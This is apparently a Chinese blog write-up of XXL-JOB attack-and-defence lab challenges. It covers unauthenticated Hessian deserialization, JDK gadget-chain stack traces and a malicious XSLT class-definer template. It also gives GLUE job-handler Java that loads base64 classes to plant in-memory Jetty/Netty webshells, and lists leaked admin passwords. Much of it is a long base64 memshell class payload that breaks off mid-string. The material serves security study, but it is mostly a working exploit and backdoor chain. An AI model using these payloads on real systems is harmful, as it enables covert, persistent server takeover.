XXL-JOB攻防 & 内存马
2026-01-11 21:24:51

XXL-JOB 内存马攻防

Challenge 01

通过报错信息,判断为未授权hessian反序列化漏洞

image

Code Audit

limit=false未做鉴权

image

imageimage

image

确定反序列化器

image

image

hessian反序列化

image

利用MemShellParty注入hession内存马即可

image

调度后台内存马注入

image

image

XXL-JOB配置文件获取管理员密码

image

image

执行器

执行任意Shell命令

利用eval "<shell command>",会将命令执行结果输出至日志中

image

image

后台内存马注入

应该是注入Jetty内存马

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

import java.util.Base64;

public class DemoGlueJobHandler extends IJobHandler {

public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}

public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}

public void execute() throws Exception {
execute(null);
}

public ReturnT<String> execute(String param) throws Exception {
String base64Str = "...";
String className = "org.apache.collections.coyote.deserialization.std.TokenBufferDeserializer0b11618e92234a6589498dc61826db43";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
return ReturnT.SUCCESS;
}
}

写文件成功

执行器 hessian 反序列化内存马注入

XXL-JOB中 - 调度中心(客户端) 和 执行器(服务端) 中,利用hessian来实现RPC调用

首先尝试注入回显马,参考Challenge 02,低版本未引入黑名单的的hessian,直接打JDK原生+JavaWrapper链即可

image

这个Jetty内存马需要定制化注入,过后再研究

Challenge 02

Code Audit

这里xxl-job版本为2.0.2,对应代码中的hessian版本为4.0.60

image

使用的是hessian2

image

黑名单在4.0.63才引入,所以可以直接打hessian JDK原生利用链,调用任意类的静态方法,之前在CTF中遇到过

1
2
3
4
5
6
7
8
9
10
11
12
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
ser:26, hessianDes (myClassLoader)
main:40, hessianDes (myClassLoader)

image

image

Chains01 - JavaWrapper#_main

image

image

Java-Chains已经集成此链

image

Chains02 - com.sun.org.apache.xalan.internal.xslt.Process#_main

com.sun.org.apache.xalan.internal.xslt.Processjava 9+被移除

xslt模版注入,先写入一个恶意的.xslt文件,然后利用com.sun.org.apache.xalan.internal.xslt.Process#_main调用即可执行恶意命令&注入内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'<base64 data>')"/>
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
<xsl:variable name="rce" select="ru:defineClass('<恶意类类名>',$bs,$cl)"/>
<xsl:value-of select="$rce"/>
</xsl:template>
</xsl:stylesheet>

image

同上Java-Chains中也集成了此链,同时给出了两种不同的利用方式

image

image

调度后台内存马注入

hessian JDK原生JavaWrapper链注入内存马

image

xslt链注入内存马

image

xslt2链注入内存马

image

执行器内存马注入

拿配置文件,调度后台密码为UP7di7YLnPkvw89QID

可以直接进后台执行Java代码打Netty内存马,具体原理见文章最后对XXL-JOB & Netty内存马的分析

image

image

NettyThreadHandler#channelRead中的逻辑更换为哥斯拉/冰蝎即可​​

Challenge 03

执行器内存马注入

弱口令 admin : 123456

后台定时任务直接实例化恶意类注入Netty内存马

因为从xxl-job 2.3.0开始取消了execute方法的出入参数设计,而MemshellParty中给的execute()方法中依然有参数,所以需要修改payload

image

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.xxl.job.service.handler;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

@Override
public void execute() throws Exception {
String base64Str = "yv66vgAAADQBoQEAKmNvbS9mYXN0ZXJ4bWwvamFja3Nvbi95VGpZTi9FbmNyeXB0aW9uVXRpbAcAAQEATkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxJbml0aWFsaXplcjxMaW8vbmV0dHkvY2hhbm5lbC9zb2NrZXQvU29ja2V0Q2hhbm5lbDs+OwEAI2lvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEluaXRpYWxpemVyBwAEAQA6Y29tL3h4bC9qb2IvY29yZS9zZXJ2ZXIvRW1iZWRTZXJ2ZXIkRW1iZWRIdHRwU2VydmVySGFuZGxlcgcABgEAI2NvbS94eGwvam9iL2NvcmUvc2VydmVyL0VtYmVkU2VydmVyBwAIAQAWRW1iZWRIdHRwU2VydmVySGFuZGxlcgEAJWphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcyRMb29rdXAHAAsBAB5qYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMHAA0BAAZMb29rdXABAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAAJvawEAAVoBAAxoYW5kbGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBADZvcmcuYXBhY2hlLmh0dHAud2ViLmhhbmRsZXJzLmp4WFpRLkNoZWNrZXJOZXR0eUhhbmRsZXIIABkBAA9nZXRCYXNlNjRTdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAcARJgSDRzSUFBQUFBQUFBLzUxWUNYd1QxNW4vZjdic2tXUngyVGxRQWtuSVFXVFpSZ1lNQmhzSVBvTkJQb0p0SEVOYUdFdGpXeUJHaWpRQ25FM1NKbTBUbXJacFN1a0JYZmJxN21hM0ozRWIyWlEyVGJyZHBOdnVmZCs3M1N0NzM1dmRkTGV3L3pjek5ySXRnMXQrUmpQdnZlOTYzLzNOdDY5ODVSVUFEZklwd2RaVVppeWlwL1hZdUJFWnQ2eDA1S1F4RWhuWHpYalN5R1FqUjA4OWZQQ2hTTnU0RVR0bVpIb015NXJZNHh4cEVNRjlpVlRFVkp1UkdERk1JMGxJKzltZVN5ZU5VN09ncFlKd2RERllGK3JlL25FOW80OGtqV1pCYUttd0dzb0ZkOTRBV29OWDRKMUJFWlFlTXlZRWxkR2orZ2s5a3RUTnNVaS9sVW1ZWTJTOGN2dVcwYzJiWTQzMWphTU45ZldiTmhwZUxCTjQwbm8yU3hKNzkzVk03TTN0Yi9GaUpha2NqMjhSM05XNXJYMXI1NmJ0RFEwZG16cmJ0blMwdDI2c2IyemQxdDYrWlZ0NzU5YU96Z1l2cWdUK2NVT1BVMy82Y2JMM0QyYU5URjNMbUdGYVh0d2lxSEFPRCtqSkhFKzkwZkdSdnNmUzR3TmVCSG1XTVI3TkdWbXJOUldueU1FRklyZm1Fa25pVW5MTmhSUlVYOU8wYThaSUxCVTNZbzUxOS9CbnZ3T3FzTkw2UkRLbHh3V3JDbWkzSlhsZm50NDBmMjlIZUJlM3kzY2t6SVMxaXlvSVZSOEk0RzdjNDRjSDl3cHVYVVE4RGV2OXVCLzNCbkE3MXZoUWdtcmV6TFhWZmtOeDN4bTZrWHUwcFV6TE9HVTFGNGpVTzNMVWlGbk4xUWNFVmRkMk8wN0ZqTFNWU0prYTZ1WWNESXhuVWljZHA0a0k3bCtpa2pSc0RHQXQ3bEJpYjZiQ0hHUFJHMnBDTjFiMEhnZTRPWUF0MkZxQlRXZ000R1lFRkszdFN4REJSZGRBcFplT0diVHQrdEJDcjYxZXVCWEFUdXp5WXdjZUNHQzF3NitGemowZlRrTWJIUzVHemVvSmsxZTZ2WkE2MVovcFZ6b3dZMFp6OWNFQU90RHBSenNlcEJSTHM1V0dMc0dLMFVUR2FDdTA5WTVRRVJzdTFmd0I3RU8wQW52UnZRVDkyVWdtNWVpbDRXTE9RdDJ5Z050SWJuU1VpSzBUbHRHYUd5WDVoN0MvQW4zb1o3VE5BdVdzaEMxUEptdFlnM3pYTUNnb0d4em9QTHhOY0p0ekc1UFFNUWRrQnBUVWh2Q3dEd2N3ek5oWWhLV0dRN1NCbFhJc0l0Z1FXcHhlVVV1L0ErLzA0eEVjWmx6cTZiUmhVc04xUy9LU21kd1JnSTRSRlo4eE92WDFWQnJWczlZY3RSb0JySEM4aTRLWEp3MXp6QnEzczBKWEFBa2NWZDV5VE9ETDVrYXk3dTF1RG5VVnZjUnhtRXFDbEtQV3VtMWVQRG9UdXhRbk1yZy8ybTRvU1poSzZLZmxjWHNoMkZia29rc01rQnhPK0dIaHBKTFBzS0t1N0I3S3g1UTJnY2VVT0Q4aUNJem9XV05yUTd2TDhKWmltajNVR3NBVGVOSlBQYnhMSUtmb2JLRkRyUWZ0L2Fmd3ROcC9Ud0IzNGk2bHFmZFJDUmxqTkVtdlo0NXFOMFlUcG1IblZxV2NRNjNWQzlKd0FNL2l0S0x4ZmdHOCtBQ0Z6TnBXL3FGeTVvek12T1NIOEx3aSsyRkJ5YUZXRFI5aHJNN2pyZUdqVE5TbWNiTEx6Rm82OHdCTFFxaDZZZlFHOERGODNJK3orSVJnclgxS3daUi90MlF5K2tSdnprcm5MREkyOU9NYXp2bHhYdFdLbGZPcGFQaFJXcFlKUjAvYXVpaVNKSmlFZmd3LzdzY0YvTVI4U1FyQzRhY1V3S2NEcUhSYzgyZVUxYm9XYzdzWGxaUCtIRzlwcFdZRlZtNWdHKzh6K0t5UzluT3pidEJoenJqQlhFdk5FdndDdnFoMGVsRlJUU2tYK2pTMXlzemRrY21rTXQxR05xdVBFYjI2OEhLelphbTRuMzRaTHl1S2VjSHFZdTZoS25JWm5ILzE1SlhObVJ1T0o3S3hEWU5tVmg5bCszS1ozamlhY2x1UCsyNlFHR1k4N210NFJabno2d3dPYTl5WUlmVWFyY2E3TUJhU2VzYUlkeWFNNUJLU2pldnNFUnVjdEg4QjMxUzBmM0ZPdXpBSFNNTWJnbVdNeXBaWWpDcEwyRTJiSjNSUU9lMHY0ZHQrZkF2Zm1WY0taOHRJRWQvY2lWOVJLTC9LeTFENjdsUThsK1JsZnQxZEd0WjRpcmZZWGVRV2h4Wm9wdGk5SEFyazg1djRMWFd4MzJZNkoyRTNwcXRDeGZUN3UvZzk1YVMvei9OREMwWFc4SWUwOW1LY05Qd3g0eVJobmtnZG8xcTJGOUZDRVpKRkZmT24rRE0vL2dSL3p1WXZaZS9aMnU4ZEhhWHF2ZmdMY2pudUt1dXZCTXV2RVlpbVZPdndOMVJna205dTM4cXN2emVBdjhYZitmRW0vdDd4K2hZejNtOVlEajh2L3BGR0hCanU2d2pnbjFVcWZCUC9RdGM4b2JCN1I1V2k5aFlLcVhoUXhIL0R2eXQ2L3pIakxHNHhzUFVZVGVsMlFmZ3ZobWZob1liL25wTmVHR0RzT3pTOFRhZUs1VElabGk1bmEzNE9jWGJKOVgveGYzNThEOTluR2xLV2RMSm9BVS8yQmd2TjZod1IreXBiZkh4UFJNVzVhd3BYc3VaRmNPd3VXa3I5ZUVzODVGa1VTQk5PT2hYeGEvWENLNXhxVmwyRDdhS1VZd3JPNzVNS3BkdFZCYkhxdUU1QWx0aytLc3VWM2I5ako4YkNlN2drbE41bGxWOHFwSkoyYmVubzk4cE5ialUrRllsbEp0SldLdEtXU0k4clptcCtJWjlyQmFKNjBYUXdEN2M1SUtzbDZKZGI1VGFPY0hNQXNtbTJIUDFHTEdOWSs0eUpmcTQwV1JOQWhaM1E1UTRud0ZTNnpnYmtMcFdqMjJVZFBZVDVzWGlsdTF2dThjdGFZZFh4cU1sRmdYWTVrRm1ESHBGZ0FTVWZCU3JyNVg0bFVvaXVHVTkxSmt3OXlUQlFpWmYxUU1KU293NXJYZmZhb1ByQ0RhMTJaZkRLQnBwZFpYcTdSR1M4d215ODNMQVhBMjV6NTVWTlZQbHNobTV0NmUrWUtTbUViMURWejE1NFphdER5KzE1dk1KK0tMY1FkZmFZNDBIQWFZbGE3ZDdTS3pzRm02L1h5ckh2MEhOSnF6T1hURHF6VGphZE1yT0dKZzhzb2EwK3dKbEV6VmZDbWNLN1oyQ2c3L0RHd3h1WE1uZTZpTFI4bTdUN3BGVTYyTy9lZUE1elpPdTNkQ3VYMVlUelIwbnZQa0g5RXNiY1FreHk3Wks5UHRralJGNjNvTWNta0JuWE0zRzMxeWFqYnAvMHFNNTk5ZnpPZmRCTXAxSkpJNjVKSHhVZlM2VVRSdHhSdktCNzBSSHFlbTM5b3VPSTdKZCt2endrQTRKY2FNbjYvVUUxc3loL0ozZ08rR1czREFscXIwZDJvU3NOVjhoQk5GSkQ3cnhRTnpDUnBtOC93dXlwOG1ra25lVFUyWHlYcTQyZFR0OHY3MlRLeWFwUnQvZjZ2ZjNDd2ZGR003Z2NFWjB6c1l6Y1lNeTVocVNhSmpvQ0M4WHl0dDZlZ1k2ZWdjUFJqcDRIQi9ad2lJek9uUTVic3JGRVlxWnBrMUVaODRraDQwb0RuQ1NYcWJxaVdqdzNaeDFUczlFand0UXllQU4zK2VHdmFxcXJwdFRjNjR3RWdqV2h4YWRzb2p3cUdjN1ZraTEwK0hsUW1qQUxMVHZKaEdtd3RIY21jMW1PVEEwLzBEamZtYk55R1lQc1RzcXBDamtoRTlmNW11REFSaE5aZW8rcU5Sekh5dHFpdmYzTUdvdVBQbk9SeU9nSmVkSW5qd3Nuc3p1dWo2UEpVeXhtZWp3K2d5ellINXBuNWxqS2RGdUl5SU1LSkJHYngyOEpOMytQdkxkQ25wYjN6UXk0Uk9pajM4eE1TUEtzYWkraU0wZUYwNU1iaisvM3kybDVqaTFXMmtIVFk4Y0dNcm9xdnF1djRSV1F0QXZiQitWRGZrNEl6NnVCaGtOSldTeVp5aG9CK1FqdVVkVE8wSzRNVTFYRUxiZWg4L1VueGt4ZHljeXkyV2FQUGN0c1h0MTZlc0Q1a09xZi9kWkdyd2wwOFpZWnV6VXh1QXp1ejVsVzRyaHhJR0UzOEMybW1XS3lVYUJZeDNuR0F6WE0rbFZOaDhoWnJrcXduT3NWQmV0VlhGY1dyRy9pK3VhQzlhMWNyeTVZMzBibzI3SEdmbCtMTy9qMHE2bWI1eCt6OTlhUm82alBsZHo1T0hmV29KUnJZR1Y0Q3ZlRkwrUCs0U21FWGtiNEpYdWFZcFpBTGRzTlFzcG5VVTVKSVEvVnZvWk41OUFZcm4wVm0xNUdRL2pMYUxpRWJZS2V1a2swNWJHN3lSUDB2STdsUWM4a1d2UFljeDZCbXRwTDZDbkIwRXRFN1RzbnE0aloxek9McCtCZHpMSmdtY0lzVzRoWmR3bk0vNU00bU1lUnBuTGlob1BsZWNTSDZsN0Q2RGxNcVkxSmpPZVI5QnpKSTEyWm1jYXBKazN0bHVieGVEaW9UZVBkZkh0dmszY1N6N3lCVzhKQmJ4N1BmUW5QaEdzcVB6aUZGMTdFRVI3azhja20zMldjcHc0KzFlUVArb0wrUEg1eWlFK3Y4OHpqcDRmQ05hNlNKdkd6cFN0WDV2SHpGQ09zSUQvdklZTnB2TVExejlUUkpGL3orSkpOdjZwSkMyckVwaXhUbU9MV1M3TjNvNXJQc3ZWcFJEMk44Z21xZlRmODM4Y21EVHMwdEw4Tjd4WFVhK2h6bGx6b2ZOaC9aOTdHSTYwYTZsZmdLalNVYWlqUnNGZmpUQVg1SktsNFNIY0QveitMMHlpMVRmZzh3WlFKOTBtMzlOeUVTNDBlYVNxdi9PbzBYbFhDVlg0amo5ZWJ2RUV2Ny9ITFFhL2s4V3ZkbFdjcmY2UDBhemlieCsrRTgvZ0RlUlYvbE1kM2V3cTJLeSs0bTAyK1drSlUvcVdIKzhPbGxkL3E1eUdWNksvbHhnVnVuSzM4YTlMbjduZGZ4WnQ1L0VPang0Yi9wM0lIL2tML01MM2dYL3VIeS9pcVVNdUQ1YlhsTnFyaXpOTmJQTlA0VDU0SGZZckkwSXNvYTlJdTQ2MWhDdkkvMDdpU2w1SXA0VmFWOE0vblVqMmpxRXFBV09vM0x5dWMrOG5Lb0Rlb09kUnJDRkk2TFZXRXFYbEZQVzBKenpiNWd1V3ZZOTFpUXRUWk1nUjlGNm5nQUw2Sk4yYU5WNDNTcTF5VzIrWTRRM1B3ejZOeDFoQ2FTcTdnU1ExdmNhblI1ck5XY29Oem11OVA0V2tuNERER2dGTXBJbHdsTjAvTDdUMTFhODVCODd3SVQ5bGxXVHM4S1hmbTVXNGVUY2w5ZWFtdXE4bEwzVVVWc3JZUU5TaTVpcFh3T0VLSUpyZEMvVnhWREF2MlN2Z2pCYzdpVXg5dlhQYlBrWDBwbjBlckpFSVBxWktOcnNXRnp3dThmYlNHS3FtU3paNFpWZk9zeGpGMjJGRmkrOFZvbFd3aE1nT3J1OWFHYml5RXJwMEhiV2VpWnV4UWJtdGZveHp5dUViMUZFcjRCSjUwSlh6QmxUQTlJK0gyNGhJMnVUemJGMHA0aG45S3lCMXpoTnhWaUZDN0VNR1djeGNlS0pUelhYUGxMRkdmRmwwNWo3aUdITGdzdTJtM3prbUoxazVLNzdRTVRzbkRQWFdYNUJETG9MeWpTZzduSlRia3JDY2x3WmVqZ3J3Y3AxUG1KVDFVYzBuWUVuTDNzUklldi91U1BHTW5EOHdKOXhMMXNjek43VTlSTytWOGJwVnVONm4xWEpiVHczVlQ4b0h1bXRxOGZMZ3VMeTgwZVdwZmg4YlZSNE9laTAxbHM0dXlyNU5XQ1N0SXRlM1ROZlp6MXNPdllMMG1weldjWnlLNlNqQW4rZFJ6ejNieks3UVRjMDA5RlhET0xrSHN3YmpsWCsrVDg0NjZVQWI4UDVYVk1LQ0NIUUFBCAAeAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL1Rocm93YWJsZQcAIgwAIAAhCgAFACQMABIAEwkAAgAmAQAGaW5qZWN0DAAoACEKAAIAKQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwArCgAsACQMABAAEQkAAgAuAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DAAwADEKACwAMgEAC1svKl0gcmVhZHkKCAA0AQAIdG9TdHJpbmcMADYAGAoALAA3AQAHZmFpbGVkIAgAOQEAD2dldEVycm9yTWVzc2FnZQEAKShMamF2YS9sYW5nL1Rocm93YWJsZTspTGphdmEvbGFuZy9TdHJpbmc7DAA7ADwKAAIAPQEAAQoIAD8BABBqYXZhL2xhbmcvU3lzdGVtBwBBAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DABDAEQJAEIARQEAC2luaXRDaGFubmVsAQAqKExpby9uZXR0eS9jaGFubmVsL3NvY2tldC9Tb2NrZXRDaGFubmVsOylWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcASQwAFAAVCQACAEsBAA9qYXZhL2xhbmcvQ2xhc3MHAE0BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DABPAFAKAE4AUQEAH2lvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXIHAFMBACVpby9uZXR0eS9jaGFubmVsL3NvY2tldC9Tb2NrZXRDaGFubmVsBwBVAQAIcGlwZWxpbmUBACQoKUxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZTsMAFcAWAsAVgBZAQApaW8vbmV0dHkvaGFuZGxlci90aW1lb3V0L0lkbGVTdGF0ZUhhbmRsZXIHAFsFAAAAAAAAAFoBAB1qYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdAcAXwEAB1NFQ09ORFMBAB9MamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQ7DABhAGIJAGAAYwEAJShKSkpMamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQ7KVYMACAAZQoAXABmAQAgaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsUGlwZWxpbmUHAGgBAAdhZGRMYXN0AQBGKFtMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlcjspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwwAagBrCwBpAGwBACtpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFNlcnZlckNvZGVjBwBuCgBvACQBADBpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cE9iamVjdEFnZ3JlZ2F0b3IHAHEDAFAAAAEABChJKVYMACAAdAoAcgB1AQApY29tL3h4bC9qb2IvY29yZS9iaXovaW1wbC9FeGVjdXRvckJpekltcGwHAHcKAHgAJAEAAAgAegEAJ2phdmEvdXRpbC9jb25jdXJyZW50L1RocmVhZFBvb2xFeGVjdXRvcgcAfAUAAAAAAAAAPAEAKGphdmEvdXRpbC9jb25jdXJyZW50L0xpbmtlZEJsb2NraW5nUXVldWUHAIAKAIEAdQEAKChMamF2YS9sYW5nL1J1bm5hYmxlOylMamF2YS9sYW5nL1RocmVhZDsQAIMBABRsYW1iZGEkaW5pdENoYW5uZWwkMAwAhQCDCgACAIYPBgCHAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQcAiQEAC21ldGFmYWN0b3J5AQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7DACLAIwKAIoAjQ8GAI4BAAluZXdUaHJlYWQBACYoKUxqYXZhL3V0aWwvY29uY3VycmVudC9UaHJlYWRGYWN0b3J5OwwAkACREgAAAJIBAEAoTGphdmEvbGFuZy9SdW5uYWJsZTtMamF2YS91dGlsL2NvbmN1cnJlbnQvVGhyZWFkUG9vbEV4ZWN1dG9yOylWEACUAQAUbGFtYmRhJGluaXRDaGFubmVsJDEMAJYAlAoAAgCXDwYAmAEAEXJlamVjdGVkRXhlY3V0aW9uAQAxKClMamF2YS91dGlsL2NvbmN1cnJlbnQvUmVqZWN0ZWRFeGVjdXRpb25IYW5kbGVyOwwAmgCbEgABAJwBAJwoSUlKTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0O0xqYXZhL3V0aWwvY29uY3VycmVudC9CbG9ja2luZ1F1ZXVlO0xqYXZhL3V0aWwvY29uY3VycmVudC9UaHJlYWRGYWN0b3J5O0xqYXZhL3V0aWwvY29uY3VycmVudC9SZWplY3RlZEV4ZWN1dGlvbkhhbmRsZXI7KVYMACAAngoAfQCfAQBgKExjb20veHhsL2pvYi9jb3JlL2Jpei9FeGVjdXRvckJpejtMamF2YS9sYW5nL1N0cmluZztMamF2YS91dGlsL2NvbmN1cnJlbnQvVGhyZWFkUG9vbEV4ZWN1dG9yOylWDAAgAKEKAAcAogEADWdldFNoZWxsQ2xhc3MBACUoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvQ2xhc3M7AQAoKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL0NsYXNzPCo+OwEAEGphdmEvbGFuZy9PYmplY3QHAKcBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAKkAqgoAqACrAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DACtAK4KAE4ArwwAFwAYCgACALEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHALMBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAC1ALYKALQAtwwAGwAYCgACALkBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDAC7ALwKAAIAvQEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDAC/AMAKAAIAwQEAC2RlZmluZUNsYXNzCADDAQACW0IHAMUBABFqYXZhL2xhbmcvSW50ZWdlcgcAxwEABFRZUEUMAMkAFQkAyADKAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADMAM0KAE4AzgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA0AEADXNldEFjY2Vzc2libGUBAAQoWilWDADSANMKANEA1AEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADWANcKAMgA2AEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA2gDbCgDRANwBABBqYXZhL2xhbmcvVGhyZWFkBwDeAQARZ2V0QWxsU3RhY2tUcmFjZXMBABEoKUxqYXZhL3V0aWwvTWFwOwwA4ADhCgDfAOIBAA1qYXZhL3V0aWwvTWFwBwDkAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsMAOYA5wsA5QDoAQANamF2YS91dGlsL1NldAcA6gEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwA7ADtCwDrAO4BABJqYXZhL3V0aWwvSXRlcmF0b3IHAPABAAdoYXNOZXh0AQADKClaDADyAPMLAPEA9AEABG5leHQMAPYAUAsA8QD3AQAHZ2V0TmFtZQwA+QAYCgDfAPoBABFuaW9FdmVudExvb3BHcm91cAgA/AEAEGphdmEvbGFuZy9TdHJpbmcHAP4BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwBAAEBCgD/AQIBAAZ0YXJnZXQIAQQBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAQYBBwoAAgEIAQAIcnVubmFibGUIAQoBABF2YWwkZXZlbnRFeGVjdXRvcggBDAoATgD6AQAMTmlvRXZlbnRMb29wCAEPAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAREBEgoA/wETAQARdW53cmFwcGVkU2VsZWN0b3IIARUBAARrZXlzCAEXAQARamF2YS91dGlsL0hhc2hTZXQHARkBAAdpc0VtcHR5DAEbAPMKARoBHAEAB3RvQXJyYXkBABUoKVtMamF2YS9sYW5nL09iamVjdDsMAR4BHwoBGgEgAQAKYXR0YWNobWVudAgBIggAVwEABGhlYWQIASUIAPYBAAdoYW5kbGVyCAEoDACkAKUKAAIBKgEADGNoaWxkSGFuZGxlcggBLAEADXNldEZpZWxkVmFsdWUBADkoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYMAS4BLwoAAgEwAQAQamF2YS51dGlsLkJhc2U2NAgBMgEAB2Zvck5hbWUMATQAtgoATgE1AQAKZ2V0RGVjb2RlcggBNwEACWdldE1ldGhvZAwBOQDNCgBOAToBAAZkZWNvZGUIATwBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAE+AQAMZGVjb2RlQnVmZmVyCAFAAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAUIKAUMAJAEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwFFAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcBRwEABShbQilWDAAgAUkKAUgBSgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAIAFMCgFGAU0BAARyZWFkAQAFKFtCKUkMAU8BUAoBRgFRAQAFd3JpdGUBAAcoW0JJSSlWDAFTAVQKAUMBVQEABWNsb3NlDAFXACEKAUYBWAoBQwFYAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFbAVwKAUMBXQEACGdldEZpZWxkAQA+KExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAEEoTGphdmEvbGFuZy9DbGFzczwqPjtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcBYgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAWQBZQoATgFmAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAWgKAWkA1AEADWdldFN1cGVyY2xhc3MMAWsAqgoATgFsDAFfAWAK